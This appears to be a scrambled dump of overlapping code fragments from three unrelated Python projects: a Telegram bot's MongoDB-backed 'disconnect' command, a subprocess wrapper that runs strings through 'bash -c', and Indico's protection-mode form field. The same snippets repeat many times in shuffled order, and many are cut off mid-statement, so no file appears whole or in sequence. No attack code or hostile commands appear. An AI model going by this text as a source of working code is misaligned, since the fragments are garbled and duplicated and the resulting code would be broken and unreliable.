[ "self._call(user, _bot, update, **kwargs) def _call(self, user, _bot, update, **kwargs):", "active chat.' _SUCCESS_MESSAGE = 'Disconnected from chat' def _callback(self, user,", "= 'Close currently active chat.' _SUCCESS_MESSAGE = 'Disconnected from chat'", "import BaseCommand import mongo class DisconnectCommand(BaseCommand): _COMMAND = 'disconnect' _DESCRIPTION", "update, **kwargs): return self._call(user, _bot, update, **kwargs) def _call(self, user,", "def _call(self, user, _bot, update, **kwargs): chat = mongo.chats.get_active_chat_by_telegram_id(user.id) if", "BaseCommand import mongo class DisconnectCommand(BaseCommand): _COMMAND = 'disconnect' _DESCRIPTION =", "from chat' def _callback(self, user, _bot, update, **kwargs): return self._call(user,", "return self._call(user, _bot, update, **kwargs) def _call(self, user, _bot, update,", "_call(self, user, _bot, update, **kwargs): chat = mongo.chats.get_active_chat_by_telegram_id(user.id) if chat:", "_bot, update, **kwargs): return self._call(user, _bot, update, **kwargs) def _call(self,", "= 'disconnect' _DESCRIPTION = 'Close currently active chat.' _SUCCESS_MESSAGE =", "return True _bot.send_message( user.id, 'You are not connected to any", "_callback(self, user, _bot, update, **kwargs): return self._call(user, _bot, update, **kwargs)", "_bot, update, **kwargs): chat = mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id']) return", "_bot.send_message( user.id, 'You are not connected to any vk user',", "bot.commands import BaseCommand import mongo class DisconnectCommand(BaseCommand): _COMMAND = 'disconnect'", "def _callback(self, user, _bot, update, **kwargs): return self._call(user, _bot, update,", "class DisconnectCommand(BaseCommand): _COMMAND = 'disconnect' _DESCRIPTION = 'Close currently active", "**kwargs) def _call(self, user, _bot, update, **kwargs): chat = mongo.chats.get_active_chat_by_telegram_id(user.id)", "_SUCCESS_MESSAGE = 'Disconnected from chat' def _callback(self, user, _bot, update,", "user, _bot, update, **kwargs): chat = mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id'])", "'disconnect' _DESCRIPTION = 'Close currently active chat.' _SUCCESS_MESSAGE = 'Disconnected", "chat = mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id']) return True _bot.send_message( user.id,", "if chat: mongo.chats.disable_chat(chat['_id']) return True _bot.send_message( user.id, 'You are not", "user.id, 'You are not connected to any vk user', )", "DisconnectCommand(BaseCommand): _COMMAND = 'disconnect' _DESCRIPTION = 'Close currently active chat.'", "currently active chat.' _SUCCESS_MESSAGE = 'Disconnected from chat' def _callback(self,", "**kwargs): return self._call(user, _bot, update, **kwargs) def _call(self, user, _bot,", "update, **kwargs): chat = mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id']) return True", "True _bot.send_message( user.id, 'You are not connected to any vk", "'Disconnected from chat' def _callback(self, user, _bot, update, **kwargs): return", "mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id']) return True _bot.send_message( user.id, 'You are", "_DESCRIPTION = 'Close currently active chat.' _SUCCESS_MESSAGE = 'Disconnected from", "chat: mongo.chats.disable_chat(chat['_id']) return True _bot.send_message( user.id, 'You are not connected", "user, _bot, update, **kwargs): return self._call(user, _bot, update, **kwargs) def", "**kwargs): chat = mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id']) return True _bot.send_message(", "update, **kwargs) def _call(self, user, _bot, update, **kwargs): chat =", "are not connected to any vk user', ) return False", "chat.' _SUCCESS_MESSAGE = 'Disconnected from chat' def _callback(self, user, _bot,", "'You are not connected to any vk user', ) return", "mongo.chats.disable_chat(chat['_id']) return True _bot.send_message( user.id, 'You are not connected to", "import mongo class DisconnectCommand(BaseCommand): _COMMAND = 'disconnect' _DESCRIPTION = 'Close", "chat' def _callback(self, user, _bot, update, **kwargs): return self._call(user, _bot,", "_bot, update, **kwargs) def _call(self, user, _bot, update, **kwargs): chat", "from bot.commands import BaseCommand import mongo class DisconnectCommand(BaseCommand): _COMMAND =", "_COMMAND = 'disconnect' _DESCRIPTION = 'Close currently active chat.' _SUCCESS_MESSAGE", "mongo class DisconnectCommand(BaseCommand): _COMMAND = 'disconnect' _DESCRIPTION = 'Close currently", "= mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id']) return True _bot.send_message( user.id, 'You", "'Close currently active chat.' _SUCCESS_MESSAGE = 'Disconnected from chat' def", "= 'Disconnected from chat' def _callback(self, user, _bot, update, **kwargs):" ]
[ "List[str] = [] for char in self.value: if _whitespace(char) and", "code: int): self._code = code self._value = output_body @property def", "-> ShellCommandOutput: result = subprocess.run(self.run_args, stdout=subprocess.PIPE, env={ **os.environ, **(extra_environ if", "__iter__(self) -> Iterator[str]: return iter(self._split_tokens()) def __str__(self) -> str: return", "[] for char in self.value: if _whitespace(char) and not in_quotes", "char: in_quotes = None if accumulator: ret.append(''.join(accumulator)) accumulator = []", "if accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes and _quotes(char):", "= [] elif in_quotes == None and _quotes(char): in_quotes =", "ShellCommandOutput: def __init__(self, output_body: str, code: int): self._code = code", "str) -> ShellCommandOutput: result = subprocess.run(self.run_args, stdout=subprocess.PIPE, env={ **os.environ, **(extra_environ", "-> Iterator[str]: return iter(self._split_tokens()) def __str__(self) -> str: return f'<STDOUT", "subprocess import os from typing import List, Dict, Iterator, Optional,", "typing import List, Dict, Iterator, Optional, Tuple class ShellCommand: def", "= [] for char in self.value: if _whitespace(char) and not", "for char in self.value: if _whitespace(char) and not in_quotes and", "in_quotes = None if accumulator: ret.append(''.join(accumulator)) accumulator = [] elif", "= subprocess.run(self.run_args, stdout=subprocess.PIPE, env={ **os.environ, **(extra_environ if extra_environ else {})", "value={self.value} code={self.code} >' def _split_tokens(self) -> List[str]: ret = []", "@property def value(self) -> str: return self._value def lines(self) ->", "def value(self) -> str: return self._value def lines(self) -> List[ShellCommandOutput]:", "return iter(self._split_tokens()) def __str__(self) -> str: return f'<STDOUT value={self.value} code={self.code}", ">' def _split_tokens(self) -> List[str]: ret = [] in_quotes =", "-> List[str]: ret = [] in_quotes = None accumulator: List[str]", "elif in_quotes and in_quotes == char: in_quotes = None if", "result = subprocess.run(self.run_args, stdout=subprocess.PIPE, env={ **os.environ, **(extra_environ if extra_environ else", "= code self._value = output_body @property def succeeded(self) -> bool:", "\"bash\", \"-c\", f'{cmd}' ] # self.run_args: List[str] = [executable, *args]", "def __iter__(self) -> Iterator[str]: return iter(self._split_tokens()) def __str__(self) -> str:", "ShellCommandOutput: result = subprocess.run(self.run_args, stdout=subprocess.PIPE, env={ **os.environ, **(extra_environ if extra_environ", "exec(self, **extra_environ: str) -> ShellCommandOutput: result = subprocess.run(self.run_args, stdout=subprocess.PIPE, env={", "= output_body @property def succeeded(self) -> bool: return self._code ==", "== None and _quotes(char): in_quotes = char elif in_quotes and", "unmatched quote characters in string {self.value}\") else: accumulator.append(char) return ret", "-> int: return self._code @property def value(self) -> str: return", "substr ] def __iter__(self) -> Iterator[str]: return iter(self._split_tokens()) def __str__(self)", "self.run_args = [ \"bash\", \"-c\", f'{cmd}' ] # self.run_args: List[str]", "**os.environ, **(extra_environ if extra_environ else {}) } ) print(\"Finished shell", "*args] def exec(self, **extra_environ: str) -> ShellCommandOutput: result = subprocess.run(self.run_args,", "f'{cmd}' ] # self.run_args: List[str] = [executable, *args] def exec(self,", "ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode) class ShellCommandOutput: def __init__(self, output_body: str, code:", "substr in self.value.splitlines() if substr ] def __iter__(self) -> Iterator[str]:", "def __init__(self, cmd: str): self.run_args = [ \"bash\", \"-c\", f'{cmd}'", "self.run_args: List[str] = [executable, *args] def exec(self, **extra_environ: str) ->", "List[str] = [executable, *args] def exec(self, **extra_environ: str) -> ShellCommandOutput:", "-> str: return f'<STDOUT value={self.value} code={self.code} >' def _split_tokens(self) ->", "def lines(self) -> List[ShellCommandOutput]: return [ ShellCommandOutput(substr, self.code) for substr", "return c in ['\"', \"'\"] def _whitespace(c: str) -> bool:", "env={ **os.environ, **(extra_environ if extra_environ else {}) } ) print(\"Finished", "None if accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes and", "from __future__ import annotations import subprocess import os from typing", "str, code: int): self._code = code self._value = output_body @property", "@property def succeeded(self) -> bool: return self._code == 0 @property", "\"-c\", f'{cmd}' ] # self.run_args: List[str] = [executable, *args] def", "char in self.value: if _whitespace(char) and not in_quotes and accumulator:", "= [executable, *args] def exec(self, **extra_environ: str) -> ShellCommandOutput: result", "for substr in self.value.splitlines() if substr ] def __iter__(self) ->", "import os from typing import List, Dict, Iterator, Optional, Tuple", "str: return f'<STDOUT value={self.value} code={self.code} >' def _split_tokens(self) -> List[str]:", "return self._value def lines(self) -> List[ShellCommandOutput]: return [ ShellCommandOutput(substr, self.code)", "quote characters in string {self.value}\") else: accumulator.append(char) return ret def", ") print(\"Finished shell command\") return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode) class ShellCommandOutput:", "] # self.run_args: List[str] = [executable, *args] def exec(self, **extra_environ:", "class ShellCommandOutput: def __init__(self, output_body: str, code: int): self._code =", "ValueError( f\"Found unmatched quote characters in string {self.value}\") else: accumulator.append(char)", "subprocess.run(self.run_args, stdout=subprocess.PIPE, env={ **os.environ, **(extra_environ if extra_environ else {}) }", "int): self._code = code self._value = output_body @property def succeeded(self)", "in self.value.splitlines() if substr ] def __iter__(self) -> Iterator[str]: return", "accumulator.append(char) return ret def _quotes(c: str) -> bool: return c", "**(extra_environ if extra_environ else {}) } ) print(\"Finished shell command\")", "_quotes(char): in_quotes = char elif in_quotes and in_quotes == char:", "print(\"Finished shell command\") return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode) class ShellCommandOutput: def", "[] in_quotes = None accumulator: List[str] = [] for char", "List, Dict, Iterator, Optional, Tuple class ShellCommand: def __init__(self, cmd:", "self.code) for substr in self.value.splitlines() if substr ] def __iter__(self)", "= [] elif in_quotes and _quotes(char): raise ValueError( f\"Found unmatched", "str) -> bool: return c in ['\"', \"'\"] def _whitespace(c:", "in_quotes == char: in_quotes = None if accumulator: ret.append(''.join(accumulator)) accumulator", "in_quotes and in_quotes == char: in_quotes = None if accumulator:", "Dict, Iterator, Optional, Tuple class ShellCommand: def __init__(self, cmd: str):", "None accumulator: List[str] = [] for char in self.value: if", "return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode) class ShellCommandOutput: def __init__(self, output_body: str,", "[ ShellCommandOutput(substr, self.code) for substr in self.value.splitlines() if substr ]", "os from typing import List, Dict, Iterator, Optional, Tuple class", "Iterator[str]: return iter(self._split_tokens()) def __str__(self) -> str: return f'<STDOUT value={self.value}", "from typing import List, Dict, Iterator, Optional, Tuple class ShellCommand:", "stdout=subprocess.PIPE, env={ **os.environ, **(extra_environ if extra_environ else {}) } )", "== 0 @property def code(self) -> int: return self._code @property", "self._value def lines(self) -> List[ShellCommandOutput]: return [ ShellCommandOutput(substr, self.code) for", "in_quotes = None accumulator: List[str] = [] for char in", "= None accumulator: List[str] = [] for char in self.value:", "__future__ import annotations import subprocess import os from typing import", "code(self) -> int: return self._code @property def value(self) -> str:", "char elif in_quotes and in_quotes == char: in_quotes = None", "] def __iter__(self) -> Iterator[str]: return iter(self._split_tokens()) def __str__(self) ->", "code={self.code} >' def _split_tokens(self) -> List[str]: ret = [] in_quotes", "in self.value: if _whitespace(char) and not in_quotes and accumulator: ret.append(''.join(accumulator))", "def exec(self, **extra_environ: str) -> ShellCommandOutput: result = subprocess.run(self.run_args, stdout=subprocess.PIPE,", "= [ \"bash\", \"-c\", f'{cmd}' ] # self.run_args: List[str] =", "# self.run_args: List[str] = [executable, *args] def exec(self, **extra_environ: str)", "**extra_environ: str) -> ShellCommandOutput: result = subprocess.run(self.run_args, stdout=subprocess.PIPE, env={ **os.environ,", "self._code == 0 @property def code(self) -> int: return self._code", "== char: in_quotes = None if accumulator: ret.append(''.join(accumulator)) accumulator =", "ret.append(''.join(accumulator)) accumulator = [] elif in_quotes and _quotes(char): raise ValueError(", "and not in_quotes and accumulator: ret.append(''.join(accumulator)) accumulator = [] elif", "def _quotes(c: str) -> bool: return c in ['\"', \"'\"]", "__init__(self, output_body: str, code: int): self._code = code self._value =", "ret.append(''.join(accumulator)) accumulator = [] elif in_quotes == None and _quotes(char):", "elif in_quotes == None and _quotes(char): in_quotes = char elif", "'utf-8'), result.returncode) class ShellCommandOutput: def __init__(self, output_body: str, code: int):", "result.returncode) class ShellCommandOutput: def __init__(self, output_body: str, code: int): self._code", "_whitespace(char) and not in_quotes and accumulator: ret.append(''.join(accumulator)) accumulator = []", "in ['\"', \"'\"] def _whitespace(c: str) -> bool: return str.isspace(c)", "command\") return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode) class ShellCommandOutput: def __init__(self, output_body:", "self._value = output_body @property def succeeded(self) -> bool: return self._code", "def succeeded(self) -> bool: return self._code == 0 @property def", "not in_quotes and accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes", "class ShellCommand: def __init__(self, cmd: str): self.run_args = [ \"bash\",", "output_body @property def succeeded(self) -> bool: return self._code == 0", "characters in string {self.value}\") else: accumulator.append(char) return ret def _quotes(c:", "Tuple class ShellCommand: def __init__(self, cmd: str): self.run_args = [", "__str__(self) -> str: return f'<STDOUT value={self.value} code={self.code} >' def _split_tokens(self)", "= char elif in_quotes and in_quotes == char: in_quotes =", "value(self) -> str: return self._value def lines(self) -> List[ShellCommandOutput]: return", "ret = [] in_quotes = None accumulator: List[str] = []", "str: return self._value def lines(self) -> List[ShellCommandOutput]: return [ ShellCommandOutput(substr,", "ShellCommand: def __init__(self, cmd: str): self.run_args = [ \"bash\", \"-c\",", "def _split_tokens(self) -> List[str]: ret = [] in_quotes = None", "@property def code(self) -> int: return self._code @property def value(self)", "annotations import subprocess import os from typing import List, Dict,", "and _quotes(char): in_quotes = char elif in_quotes and in_quotes ==", "in_quotes == None and _quotes(char): in_quotes = char elif in_quotes", "Optional, Tuple class ShellCommand: def __init__(self, cmd: str): self.run_args =", "code self._value = output_body @property def succeeded(self) -> bool: return", "accumulator = [] elif in_quotes and _quotes(char): raise ValueError( f\"Found", "= [] in_quotes = None accumulator: List[str] = [] for", "lines(self) -> List[ShellCommandOutput]: return [ ShellCommandOutput(substr, self.code) for substr in", "= None if accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes", "accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes == None and", "accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes and _quotes(char): raise", "_quotes(char): raise ValueError( f\"Found unmatched quote characters in string {self.value}\")", "in_quotes = char elif in_quotes and in_quotes == char: in_quotes", "self.value.splitlines() if substr ] def __iter__(self) -> Iterator[str]: return iter(self._split_tokens())", "{self.value}\") else: accumulator.append(char) return ret def _quotes(c: str) -> bool:", "None and _quotes(char): in_quotes = char elif in_quotes and in_quotes", "self._code @property def value(self) -> str: return self._value def lines(self)", "if substr ] def __iter__(self) -> Iterator[str]: return iter(self._split_tokens()) def", "else: accumulator.append(char) return ret def _quotes(c: str) -> bool: return", "accumulator: List[str] = [] for char in self.value: if _whitespace(char)", "and _quotes(char): raise ValueError( f\"Found unmatched quote characters in string", "def code(self) -> int: return self._code @property def value(self) ->", "-> str: return self._value def lines(self) -> List[ShellCommandOutput]: return [", "and in_quotes == char: in_quotes = None if accumulator: ret.append(''.join(accumulator))", "string {self.value}\") else: accumulator.append(char) return ret def _quotes(c: str) ->", "extra_environ else {}) } ) print(\"Finished shell command\") return ShellCommandOutput(str(result.stdout,", "Iterator, Optional, Tuple class ShellCommand: def __init__(self, cmd: str): self.run_args", "in string {self.value}\") else: accumulator.append(char) return ret def _quotes(c: str)", "import subprocess import os from typing import List, Dict, Iterator,", "return [ ShellCommandOutput(substr, self.code) for substr in self.value.splitlines() if substr", "and accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes == None", "if extra_environ else {}) } ) print(\"Finished shell command\") return", "return ret def _quotes(c: str) -> bool: return c in", "c in ['\"', \"'\"] def _whitespace(c: str) -> bool: return", "int: return self._code @property def value(self) -> str: return self._value", "[ \"bash\", \"-c\", f'{cmd}' ] # self.run_args: List[str] = [executable,", "ShellCommandOutput(substr, self.code) for substr in self.value.splitlines() if substr ] def", "[executable, *args] def exec(self, **extra_environ: str) -> ShellCommandOutput: result =", "else {}) } ) print(\"Finished shell command\") return ShellCommandOutput(str(result.stdout, 'utf-8'),", "def __init__(self, output_body: str, code: int): self._code = code self._value", "return self._code == 0 @property def code(self) -> int: return", "self._code = code self._value = output_body @property def succeeded(self) ->", "List[ShellCommandOutput]: return [ ShellCommandOutput(substr, self.code) for substr in self.value.splitlines() if", "output_body: str, code: int): self._code = code self._value = output_body", "succeeded(self) -> bool: return self._code == 0 @property def code(self)", "in_quotes and accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes ==", "-> bool: return self._code == 0 @property def code(self) ->", "elif in_quotes and _quotes(char): raise ValueError( f\"Found unmatched quote characters", "ret def _quotes(c: str) -> bool: return c in ['\"',", "str): self.run_args = [ \"bash\", \"-c\", f'{cmd}' ] # self.run_args:", "accumulator = [] elif in_quotes == None and _quotes(char): in_quotes", "0 @property def code(self) -> int: return self._code @property def", "_quotes(c: str) -> bool: return c in ['\"', \"'\"] def", "in_quotes and _quotes(char): raise ValueError( f\"Found unmatched quote characters in", "__init__(self, cmd: str): self.run_args = [ \"bash\", \"-c\", f'{cmd}' ]", "bool: return self._code == 0 @property def code(self) -> int:", "f'<STDOUT value={self.value} code={self.code} >' def _split_tokens(self) -> List[str]: ret =", "bool: return c in ['\"', \"'\"] def _whitespace(c: str) ->", "return self._code @property def value(self) -> str: return self._value def", "cmd: str): self.run_args = [ \"bash\", \"-c\", f'{cmd}' ] #", "_split_tokens(self) -> List[str]: ret = [] in_quotes = None accumulator:", "if _whitespace(char) and not in_quotes and accumulator: ret.append(''.join(accumulator)) accumulator =", "} ) print(\"Finished shell command\") return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode) class", "self.value: if _whitespace(char) and not in_quotes and accumulator: ret.append(''.join(accumulator)) accumulator", "[] elif in_quotes == None and _quotes(char): in_quotes = char", "{}) } ) print(\"Finished shell command\") return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode)", "-> List[ShellCommandOutput]: return [ ShellCommandOutput(substr, self.code) for substr in self.value.splitlines()", "def __str__(self) -> str: return f'<STDOUT value={self.value} code={self.code} >' def", "return f'<STDOUT value={self.value} code={self.code} >' def _split_tokens(self) -> List[str]: ret", "[] elif in_quotes and _quotes(char): raise ValueError( f\"Found unmatched quote", "raise ValueError( f\"Found unmatched quote characters in string {self.value}\") else:", "List[str]: ret = [] in_quotes = None accumulator: List[str] =", "-> bool: return c in ['\"', \"'\"] def _whitespace(c: str)", "import List, Dict, Iterator, Optional, Tuple class ShellCommand: def __init__(self,", "iter(self._split_tokens()) def __str__(self) -> str: return f'<STDOUT value={self.value} code={self.code} >'", "shell command\") return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode) class ShellCommandOutput: def __init__(self,", "<reponame>JordanKoeller/Pysch from __future__ import annotations import subprocess import os from", "f\"Found unmatched quote characters in string {self.value}\") else: accumulator.append(char) return", "import annotations import subprocess import os from typing import List," ]
[ "{ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message(self): protected_object = self.get_form().protected_object", "isinstance(protected_object.protection_parent, db.m.Category): parent_type = _('Category') else: parent_type = _('Session') rv", "terms of the MIT License; see the # LICENSE file", "render_protection_message(self): protected_object = self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects()", "get_acl_message_url else None self.can_inherit_protection = self.protected_object.protection_parent is not None if", "import ProtectionMode from indico.util.i18n import _ from indico.web.forms.fields import IndicoEnumRadioField", "hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects() else: non_inheriting_objects = [] if", "if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects() else: non_inheriting_objects = []", "indico.web.forms.fields import IndicoEnumRadioField from indico.web.forms.widgets import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget", "else None self.can_inherit_protection = self.protected_object.protection_parent is not None if not", "indico.web.forms.widgets import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget", "# This file is part of Indico. # Copyright (C)", "self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects() else: non_inheriting_objects =", "non_inheriting_objects = protected_object.get_non_inheriting_objects() else: non_inheriting_objects = [] if isinstance(protected_object.protection_parent, db.m.Event):", "_('Category') else: parent_type = _('Session') rv = render_template('_protection_info.html', field=self, protected_object=protected_object,", "_('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type = _('Category') else: parent_type =", "_('Session') rv = render_template('_protection_info.html', field=self, protected_object=protected_object, parent_type=parent_type, non_inheriting_objects=non_inheriting_objects) return Markup(rv)", "render_template from markupsafe import Markup from indico.core.db import db from", "kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url = kwargs.pop('acl_message_url', None) self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url", "not self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def", "= _('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type = _('Category') else: parent_type", "**kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url = kwargs.pop('acl_message_url', None) self.acl_message_url =", "parent_type = _('Category') else: parent_type = _('Session') rv = render_template('_protection_info.html',", "License; see the # LICENSE file for more details. from", "file for more details. from __future__ import absolute_import, unicode_literals from", "db.m.Category): parent_type = _('Category') else: parent_type = _('Session') rv =", "under the terms of the MIT License; see the #", "widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def", "None) self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url else None self.can_inherit_protection =", "= [] if isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event') elif isinstance(protected_object.protection_parent,", "import db from indico.core.db.sqlalchemy.protection import ProtectionMode from indico.util.i18n import _", "2020 CERN # # Indico is free software; you can", "if isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type", "= protected_object.get_non_inheriting_objects() else: non_inheriting_objects = [] if isinstance(protected_object.protection_parent, db.m.Event): parent_type", "for more details. from __future__ import absolute_import, unicode_literals from flask", "= self.protected_object.protection_parent is not None if not self.can_inherit_protection: kwargs['skip'] =", "it and/or # modify it under the terms of the", "__init__(self, *args, **kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url = kwargs.pop('acl_message_url', None)", "parent_type = _('Session') rv = render_template('_protection_info.html', field=self, protected_object=protected_object, parent_type=parent_type, non_inheriting_objects=non_inheriting_objects)", "# modify it under the terms of the MIT License;", "free software; you can redistribute it and/or # modify it", "flask import render_template from markupsafe import Markup from indico.core.db import", "None if not self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode,", "elif isinstance(protected_object.protection_parent, db.m.Category): parent_type = _('Category') else: parent_type = _('Session')", "you can redistribute it and/or # modify it under the", "is free software; you can redistribute it and/or # modify", "import render_template from markupsafe import Markup from indico.core.db import db", "else: parent_type = _('Session') rv = render_template('_protection_info.html', field=self, protected_object=protected_object, parent_type=parent_type,", "see the # LICENSE file for more details. from __future__", "of Indico. # Copyright (C) 2002 - 2020 CERN #", "import Markup from indico.core.db import db from indico.core.db.sqlalchemy.protection import ProtectionMode", "**kwargs) def render_protection_message(self): protected_object = self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects", "from indico.web.forms.widgets import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True)", "unicode_literals from flask import render_template from markupsafe import Markup from", "MIT License; see the # LICENSE file for more details.", "IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True)", "import absolute_import, unicode_literals from flask import render_template from markupsafe import", "the MIT License; see the # LICENSE file for more", "from flask import render_template from markupsafe import Markup from indico.core.db", "if not self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs)", "# # Indico is free software; you can redistribute it", "super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message(self): protected_object = self.get_form().protected_object if", "self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message(self): protected_object = self.get_form().protected_object if hasattr(protected_object,", "Markup from indico.core.db import db from indico.core.db.sqlalchemy.protection import ProtectionMode from", "# Copyright (C) 2002 - 2020 CERN # # Indico", "from indico.web.forms.fields import IndicoEnumRadioField from indico.web.forms.widgets import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField):", "Copyright (C) 2002 - 2020 CERN # # Indico is", "part of Indico. # Copyright (C) 2002 - 2020 CERN", "the # LICENSE file for more details. from __future__ import", "isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type =", "the terms of the MIT License; see the # LICENSE", "modify it under the terms of the MIT License; see", "software; you can redistribute it and/or # modify it under", "can redistribute it and/or # modify it under the terms", "absolute_import, unicode_literals from flask import render_template from markupsafe import Markup", "IndicoEnumRadioField from indico.web.forms.widgets import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html',", "None self.can_inherit_protection = self.protected_object.protection_parent is not None if not self.can_inherit_protection:", "from __future__ import absolute_import, unicode_literals from flask import render_template from", "details. from __future__ import absolute_import, unicode_literals from flask import render_template", "= _('Category') else: parent_type = _('Session') rv = render_template('_protection_info.html', field=self,", "(C) 2002 - 2020 CERN # # Indico is free", "LICENSE file for more details. from __future__ import absolute_import, unicode_literals", "from indico.core.db import db from indico.core.db.sqlalchemy.protection import ProtectionMode from indico.util.i18n", "not None if not self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args,", "indico.core.db.sqlalchemy.protection import ProtectionMode from indico.util.i18n import _ from indico.web.forms.fields import", "from indico.util.i18n import _ from indico.web.forms.fields import IndicoEnumRadioField from indico.web.forms.widgets", "single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def __init__(self, *args, **kwargs):", "import IndicoEnumRadioField from indico.web.forms.widgets import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget =", "2002 - 2020 CERN # # Indico is free software;", "get_acl_message_url(kwargs['_form']) if get_acl_message_url else None self.can_inherit_protection = self.protected_object.protection_parent is not", "= JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def __init__(self, *args, **kwargs): self.protected_object =", "self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url else None self.can_inherit_protection = self.protected_object.protection_parent", "radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def __init__(self, *args, **kwargs): self.protected_object", "def render_protection_message(self): protected_object = self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects =", "- 2020 CERN # # Indico is free software; you", "markupsafe import Markup from indico.core.db import db from indico.core.db.sqlalchemy.protection import", "<reponame>jgrigera/indico<filename>indico/web/forms/fields/protection.py<gh_stars>1-10 # This file is part of Indico. # Copyright", "more details. from __future__ import absolute_import, unicode_literals from flask import", "class IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal',", "is part of Indico. # Copyright (C) 2002 - 2020", "JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def __init__(self, *args,", "from indico.core.db.sqlalchemy.protection import ProtectionMode from indico.util.i18n import _ from indico.web.forms.fields", "Indico is free software; you can redistribute it and/or #", "__future__ import absolute_import, unicode_literals from flask import render_template from markupsafe", "kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message(self): protected_object", "indico.core.db import db from indico.core.db.sqlalchemy.protection import ProtectionMode from indico.util.i18n import", "ProtectionMode from indico.util.i18n import _ from indico.web.forms.fields import IndicoEnumRadioField from", "_ from indico.web.forms.fields import IndicoEnumRadioField from indico.web.forms.widgets import JinjaWidget class", "of the MIT License; see the # LICENSE file for", "# Indico is free software; you can redistribute it and/or", "non_inheriting_objects = [] if isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event') elif", "[] if isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event') elif isinstance(protected_object.protection_parent, db.m.Category):", "db.m.Event): parent_type = _('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type = 